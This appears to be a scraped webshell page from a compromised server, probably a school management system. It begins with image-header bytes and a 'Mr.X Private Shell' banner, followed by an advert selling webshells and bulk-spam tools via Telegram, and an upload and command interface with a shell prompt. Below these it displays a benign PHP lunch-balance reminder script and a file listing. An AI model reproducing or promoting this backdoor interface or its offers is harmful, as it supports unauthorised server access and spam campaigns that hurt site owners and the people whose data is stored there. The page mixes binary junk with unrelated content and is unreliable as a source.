����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eblama1@216.73.217.57: ~ $
<?php
$food_service_config = ProgramConfig( 'food_service' );

$target = $food_service_config['FOOD_SERVICE_BALANCE_TARGET'][1]['VALUE'];
$warning = $food_service_config['FOOD_SERVICE_BALANCE_WARNING'][1]['VALUE'];
$warning_note = _( 'Your lunch account is getting low.  Please send in at least %P with your reminder slip.  THANK YOU!' );
$negative_note = _( 'You now have a <b>negative balance</b> in your lunch account. Please send in the negative balance plus %T.  THANK YOU!' );
$minimum = $food_service_config['FOOD_SERVICE_BALANCE_MINIMUM'][1]['VALUE'];
$minimum_note = _( 'You now have a <b>negative balance</b> below the allowed minimum.  Please send in the negative balance plus %T.  THANK YOU!' );

if ( ! empty( $_REQUEST['staff_id'] ) )
{
	// Unset staff ID & redirect URL.
	RedirectURL( 'staff_id' );
}

if ( UserStaffID() )
{
	unset( $_SESSION['staff_id'] );
}

if ( $_REQUEST['modfunc'] === 'save' )
{
	if ( ! empty( $_REQUEST['st_arr'] ) )
	{
		$st_list = implode( ',', array_map( 'intval', $_REQUEST['st_arr'] ) );

		$staffs = DBGet( "SELECT s.FIRST_NAME," . DisplayNameSQL( 's' ) . " AS FULL_NAME,
			s.PROFILE,fsa.STATUS,fsa.BALANCE,s.STAFF_ID
			FROM staff s,food_service_staff_accounts fsa
			WHERE s.STAFF_ID IN (" . $st_list . ")
			AND fsa.STAFF_ID=s.STAFF_ID
			AND s.SYEAR='" . UserSyear() . "'" );

		$handle = PDFStart();

		$reminders_count = 0;

		foreach ( (array) $staffs as $staff )
		{
			$payment = $target - $staff['BALANCE'];

			if ( $payment < 0 )
			{
				continue;
			}

			if ( $staff['BALANCE'] < $minimum )
			{
				$note = $minimum_note;
			}
			elseif ( $staff['BALANCE'] < 0 )
			{
				$note = $negative_note;
			}
			elseif ( $staff['BALANCE'] < $warning )
			{
				$note = $warning_note;
			}
			else
			{
				continue;
			}

			if ( $reminders_count++ % 3 === 0 )
			{
				// 3 per page, insert page break.
				echo '<div style="page-break-after: always;"></div>';
			}

			// @since 9.3 SQL use CAST(X AS char(X)) instead of to_char() for MySQL compatibility
			$last_deposit = DBGet( "SELECT
			(SELECT sum(AMOUNT) FROM food_service_staff_transaction_items WHERE TRANSACTION_ID=fst.TRANSACTION_ID) AS AMOUNT,
			CAST(fst.TIMESTAMP AS char(10)) AS DATE
			FROM food_service_staff_transactions fst
			WHERE fst.SHORT_NAME='DEPOSIT'
			AND fst.STAFF_ID='" . (int) $staff['STAFF_ID'] . "'
			AND SYEAR='" . UserSyear() . "'
			ORDER BY fst.TRANSACTION_ID DESC LIMIT 1", [ 'DATE' => 'ProperDate' ] );
			$last_deposit = $last_deposit[1];

			$staff['SCHOOL_TITLE'] = SchoolInfo( 'TITLE' );

			FoodServiceReminderOutput( $staff, $target, $last_deposit, $payment, $note );

			if ( $reminders_count % 3 !== 0 )
			{
				// 3 per page, insert spaces & horizontal ruler.
				echo '<br /><br /><hr><br /><br />';
			}
		}

		PDFStop( $handle );
	}
	else
	{
		BackPrompt( _( 'You must choose at least one user' ) );
	}
}

if ( ! $_REQUEST['modfunc'] || $_REQUEST['search_modfunc'] === 'list' )
{
	if ( $_REQUEST['search_modfunc'] === 'list' )
	{
		echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=save&_ROSARIO_PDF=true' ) . '" method="POST">';
		DrawHeader( '', SubmitButton( _( 'Create Reminders for Selected Users' ) ) );
	}

	$extra['link'] = [ 'FULL_NAME' => false ];
	$extra['SELECT'] = ",s.STAFF_ID AS CHECKBOX";
	$extra['functions'] = [ 'CHECKBOX' => '_makeChooseCheckbox' ];
	$extra['columns_before'] = [ 'CHECKBOX' => MakeChooseCheckbox( 'Y_required', '', 'st_arr' ) ];
	$extra['new'] = true;
	$extra['options']['search'] = false;

	StaffWidgets( 'fsa_balance_warning' );
	StaffWidgets( 'fsa_status' );
	StaffWidgets( 'fsa_exists_Y' );

	$status = DBEscapeString( _( 'Active' ) );

	// Fix MySQL 5.6 syntax error when WHERE without FROM clause, use dual table
	$extra['SELECT'] .= ",coalesce(fsa.STATUS,'" . $status . "') AS STATUS,fsa.BALANCE
		,(SELECT 'Y' FROM dual WHERE fsa.BALANCE < '" . (float) $warning . "' AND fsa.BALANCE >= 0) AS WARNING
		,(SELECT 'Y' FROM dual WHERE fsa.BALANCE < 0 AND fsa.BALANCE >= '" . (float) $minimum . "') AS NEGATIVE
		,(SELECT 'Y' FROM dual WHERE fsa.BALANCE < '" . (float) $minimum . "') AS MINIMUM";

	if ( ! mb_strpos( $extra['FROM'], 'fsa' ) )
	{
		$extra['FROM'] .= ',food_service_staff_accounts fsa';
		$extra['WHERE'] .= ' AND fsa.STAFF_ID=s.STAFF_ID';
	}

	$extra['functions'] += [
		'BALANCE' => 'red',
		'WARNING' => 'x',
		'NEGATIVE' => 'x',
		'MINIMUM' => 'x',
	];

	$extra['columns_after'] = [
		'BALANCE' => _( 'Balance' ),
		'STATUS' => _( 'Status' ),
		'WARNING' => _( 'Warning' ) . ' &lt;' . $warning,
		'NEGATIVE' => _( 'Negative' ),
		'MINIMUM' => _( 'Minimum' ) . ' ' . $minimum,
	];

	Search( 'staff_id', $extra );

	if ( $_REQUEST['search_modfunc'] === 'list' )
	{
		echo '<br /><div class="center">' . SubmitButton( _( 'Create Reminders for Selected Users' ) ) . '</div>';
		echo '</form>';
	}
}

Filemanager

Name Type Size Permission Actions
Accounts.php File 6.15 KB 0644
ActivityReport.php File 7.95 KB 0644
Reminders.php File 4.74 KB 0644
ServeMenus.php File 7.12 KB 0644
Statements.php File 5.04 KB 0644
Transactions.php File 6.22 KB 0644